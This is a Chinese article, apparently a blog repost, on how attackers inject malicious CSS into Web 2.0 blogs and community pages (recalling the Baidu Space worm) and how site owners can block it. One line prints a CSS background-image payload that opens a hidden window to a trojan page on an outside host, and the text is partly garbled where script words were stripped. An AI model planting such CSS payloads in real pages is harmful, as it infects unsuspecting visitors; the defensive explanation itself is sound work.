`
wangdei
  • 浏览: 372065 次
社区版块
存档分类
最新评论

CSS挂马技术及相应防范方法

阅读更多
随着Web2.0的普及,各种网页特效用得越来越多,这也给黑客一个可乘之机。他们发现,用来制作网页特效的CSS代码,也可以用来挂马。而比较讽刺的是,CSS挂马方式其实是从防范E挂马的CSS代码演变而来。

安天实验室阿楠:安全工程师,从事病毒分析多年。

网站挂马的手段最初非常单一,但是随着Web2.0技术以及Blog、Wiki等广泛的应用,挂马也涌现出各种各样的技术,其中CSS挂马方式,可以说是Web2.0时代黑客的最爱。有许多非常著名的网站都被黑客用CSS挂马入侵过。

在我印象中,记忆最深刻的一次是百度空间CSS挂马。当时,百度空间推出没有多久,就有许多百度用户收到了类似“哈,节日快乐呀!热烈庆祝2008,心情好好,记住要想我!http://hi.baidu.com/XXXXX” 或是http://www.guihua.org 的站内消息。

由于网址是百度空间的网址,许多用户认为不会存在安全问题,加上又有可能是自己朋友发来的,因此会毫不犹豫地点击进入。但是进入指定的网址后,用户就会感染蠕虫病毒,并继续传播。

由于蠕虫扩散非常严重,最终导致百度空间不得不发布官方声明提醒用户,并且大费周折地在服务器中清除蠕虫的恶意代码。那一次的挂马事件利用的就是百 度空间CSS模板功能,通过变形的expression在CSS代码中动态执行脚本,让指定的远程恶意代码文件在后台悄悄运行并发送大量伪造信息。

我建议大家在点击陌生链接时,要多个心眼,大网站也是可能被挂马的。大家在上网时,最好还是使用一些带网页木马拦截功能的安全辅助工具。

黑客为什么选择CSS挂马?

在Web1.0时代,使用E挂马对于黑客而言,与其说是为了更好地实现木马的隐藏,倒不如说是无可奈何的一个选择。在简单的HTML网页和缺乏交互性的网站中,黑客可以利用的手段也非常有限,即使采取了复杂的伪装,也很容易被识破,还不如E来得直接和有效。

但如今交互式的Web2.0网站越来越多,允许用户设置与修改的博客、SNS社区等纷纷出现。这些互动性非常强的社区和博客中,往往会提供丰富的功能,并且会允许用户使用CSS层叠样式表来对网站的网页进行自由的修改,这促使了CSS挂马流行。

小百科:

CSS是层叠样式表(CascadingStyleSheets)的英文缩写。CSS最主要的目的是将文件的结构(用HTML或其他相关语言写的)与文件的显示分隔开来。这个分隔可以让文件的可读性得到加强、文件的结构更加灵活。

黑客在利用CSS挂马时,往往是借着网民对某些大网站的信任,将CSS恶意代码挂到博客或者其他支持CSS的网页中,当网民在访问该网页时恶意代码 就会执行。这就如同你去一家知名且证照齐全的大医院看病,你非常信任医院,但是你所看的门诊却已经被庸医外包了下来,并且打着医院的名义利用你的信任成功 欺骗了你。但是当你事后去找人算账时,医院此时也往往一脸无辜。对于安全工程师而言,CSS挂马的排查是必备常识。

CSS挂马攻防实录

攻CSS挂马方式较多,但主流的方式是通过有漏洞的博客或者SNS社交网站系统,将恶意的CSS代码写入支持CSS功能的个性化页面中。下面我们以典型的CSS挂马方式为例进行讲解。

方式1:

Body

“background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过“background-image”配合t代码让网页木马悄悄地在用户的电脑中运行。

那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放到自己指定的位置,然后将该段恶意代码写入挂马网站的网页中,或者挂马网页所调用的CSS文件中。

小百科:

使用Body对象元素,主要是为了让对象不再改变整个网页文档的内容,通过Body对象的控制,可以将内容或者效果控制在指定的大小内,如同使用DIV对象那样精确地设置大小。

方式2:

Body

background-image: url(t:open(”http://www.bt285.cn /muma.htm“,”newwindow”,”border=”1″ Height=0, Width=0, top=1000, center=0, toolbar=no,menubar=no, scrollbars=no,resizable=no,location=no,status=no”))

方式1的CSS挂马技术,在运行时会出现空白的页面,影响网页访问者正常的访问,因此比较容易发现。不过在方式2中的这段代码,使用了t的Open 开窗,通过新开一个隐藏的窗口,在后台悄悄地运行新窗口并激活访问网页溢出木马页面,不会影响访问者观看网页内容,因此更加隐蔽。

防网络服务器被挂马,通常会出现防病毒软件告警之类的信息。由于漏洞不断更新,挂马种类时刻都在变换,通过客户端的反映来发现服务器是否被挂马往往疏漏较大。正确的做法是经常检查服务器日志,发现异常信息,经常检查网站代码,使用网页木马检测系统,进行排查。

目前除了使用以前的阻断弹出窗口防范CSS挂马之外,还可以在网页中设置CSS过滤,将CSS过滤掉。不过如果你选择过滤CSS的话,首先需要留意自己的相关网页是否有CSS的内容,因此我们仍然首推用阻断方式来防范CSS。阻断代码如下所示:

emiao1:expression(this.src=”about:blank”,this.outerHTML=”");

将外域的木马代码的src重写成本地IE404错误页面的地址,这样,外域的t代码不会被下载。不过阻断方式也有天生致命的弱点,弱点的秘密我们将于下次揭晓。
分享到:
评论

相关推荐

    黑客选择CSS挂马 CSS挂马攻防实录

     网站挂马的手段最初非常单一,但是随着Web2.0技术以及Blog、Wiki等广泛的应用,挂马也涌现出各种各样的技术,其中CSS挂马方式,可以说是Web2.0时代黑客的最爱。有许多非常著名的网站都被黑客用CSS挂马入侵过。  ...

    用CSS防iframe型挂马

    ### 使用CSS防御iframe型挂马方法详解 #### 一、背景与问题介绍 在网络安全领域,iframe木马攻击是一种常见的安全威胁方式。攻击者通过在合法网页中注入恶意的iframe代码,将用户重定向到含有恶意软件或钓鱼网站的...

    css防挂马

    ### CSS防挂马技术解析 #### 一、引言 随着互联网的发展,网站安全成为了一个不可忽视的问题。其中,挂马攻击是一种常见的网络攻击手段,它通过在合法网站上植入恶意代码来感染访问该网站的用户。为了抵御这类攻击...

    CSS Sprites技术

    #### 三、CSS Sprites技术的实现方法 1. **手动制作**: - 使用图像编辑软件(如Photoshop、Sketch等)将多个小图标整合到一张大图上。 - 需要精确计算每个图标的坐标位置,并在CSS中设置背景偏移量(`background...

    CSS技术彻底研究CSS技术彻底研究

    《CSS技术彻底研究》这本书是一本深度探讨CSS设计技术的专业指南,旨在引领读者深入理解CSS的核心原理,并通过实例展示如何运用这些技术实现创新的网页布局和视觉效果。CSS虽然已经存在了超过十年,但它的魅力随着...

    网页多种挂马代码,JS

    #### 三、CSS挂马技术 **知识点:** 1. **CSS挂马原理** - CSS(Cascading Style Sheets)主要用于控制页面样式,但也可以通过CSS注入恶意脚本。 - 原理是利用CSS的`background-image`属性来注入恶意脚本。 2. ...

    基于CSS技术的测距定位原理

    下面详细解析了CSS技术的测距定位原理及相关知识点。 一、Chirp测距信号 Chirp信号是一种频率随时间变化的脉冲信号,它的频率可以由低到高(UpChirp)或由高到低(DownChirp)变化。Chirp信号在时域和频域中表现出...

    屏幕滚动到相应位置,执行css动画

    "屏幕滚动到相应位置,执行css动画"这一技术主要涉及到CSS的定位、媒体查询(Media Queries)以及CSS动画(CSS Animation)等相关知识。下面我们将详细探讨这些关键点。 首先,CSS定位是实现这一效果的基础。在HTML...

    CSS技术练习

    ### CSS技术知识点详解 #### 一、实验目的与意义 本次实验主要目的是让学习者深入了解并掌握CSS(层叠样式表)技术的应用。具体目标包括: 1. **理解CSS的基本概念及其在网页设计中的作用**:了解如何通过CSS来...

    《图解CSS3核心技术与案例实战》PDF+源代码

    《图解CSS3核心技术与案例实战》PDF,配套源代码。《图解CSS3核心技术与案例实战》将CSS3特性按模块功能分类,通过理论、图解、实战的方式向大家阐释CSS3每个特性功能。能帮助从事CSS3开发的前端工程师 系统掌握CSS3...

    网页挂马机理

    浏览器及插件中的漏洞是网页挂马攻击得以实现的重要条件。由于浏览器和插件是运行在客户端的软件,它们的安全漏洞可能被攻击者利用来进行挂马攻击。例如,一个未及时更新的浏览器插件可能存在已知的安全漏洞,攻击者...

    纯css写出tips的几种方法1

    标题中的“纯css写出tips的几种方法1”指的是使用纯CSS技术来创建提示框(tips)的各种方式。本文主要介绍了三种不同的实现技巧,涵盖了图片、CSS边框特性以及特殊Unicode字符的应用。 首先,第一种方法是借助图片。...

    CSS技术文章 Dreamweaver中加入的CSS

    Dreamweaver4是现今最好的网站编辑工具之一,用它来给制作网页的CSS样式表会更简单、更方便。本教程教你如何利用Dreamweaver4在页面中加入CSS,你不用死记硬背的记代码标记,也不用去看很厚的CSS手册,你就可以轻松...

    CSS CSS CSS

    CSS CSS 资料套装 CSS CSS 资料套装 CSS CSS 资料套装 CSS CSS 资料套装 CSS CSS 资料套装 CSS CSS 资料套装 CSS CSS 资料套装

    基于Java、HTML与CSS的森林病虫害防范系统设计源码

    本项目是一款基于Java、HTML与CSS开发的森林病虫害防范系统demo。该系统源码包含277个文件,涵盖81个类文件、80个Java源文件、41个XML配置文件、32个JSP页面文件,以及少量图片和Web应用程序归档文件。系统旨在提供...

    学习 Web 技术:HTML,CSS,JavaScript .zip

    学习 Web 技术:HTML,CSS,JavaScript学习 Web 技术:HTML,CSS,JavaScript 学习 Web 技术:HTML,CSS,JavaScript学习 Web 技术:HTML,CSS,JavaScript 学习 Web 技术:HTML,CSS,JavaScript学习 Web 技术:...

    使用H5技术(Html、JavaScript、CSS)快速开发苹果应用商店桌面App源码.zip

    使用H5技术(Html、JavaScript、CSS)快速开发苹果应用商店桌面App源码 使用H5技术(Html、JavaScript、CSS)快速开发苹果应用商店桌面App源码 使用H5技术(Html、JavaScript、CSS)快速开发苹果...

    Reset_CSS css样式重置文件

    CSS重设就是由于各种浏览器解释CSS样式的初始值有所不同,导致设计师在没有定义某个CSS属性时,不同的浏览器会按照自己的默认值来为没有定义的样式赋值,所以我们要先定义好一些CSS样式,来让所有浏览器都按照同样的...

    css精灵技术测试样例.zip

    CSS精灵(Sprite)技术是一种网页图像处理方法,它将多个小图像合并到一个大图(称为精灵图)中,然后通过CSS的背景定位属性来显示需要的部分。这种方法主要用于减少网页的HTTP请求次数,提高页面加载速度,对于优化...

    精通CSS(css mastery)中文版 part1

    由于本书压缩质量比较好,所以格式比较大,40MB多,我分了6段压缩大家可以按 精通CSS(css mastery)中文版 part1 精通CSS(css mastery)中文版 part2 精通CSS(css mastery)中文版 part3 精通CSS(css ...

Global site tag (gtag.js) - Google Analytics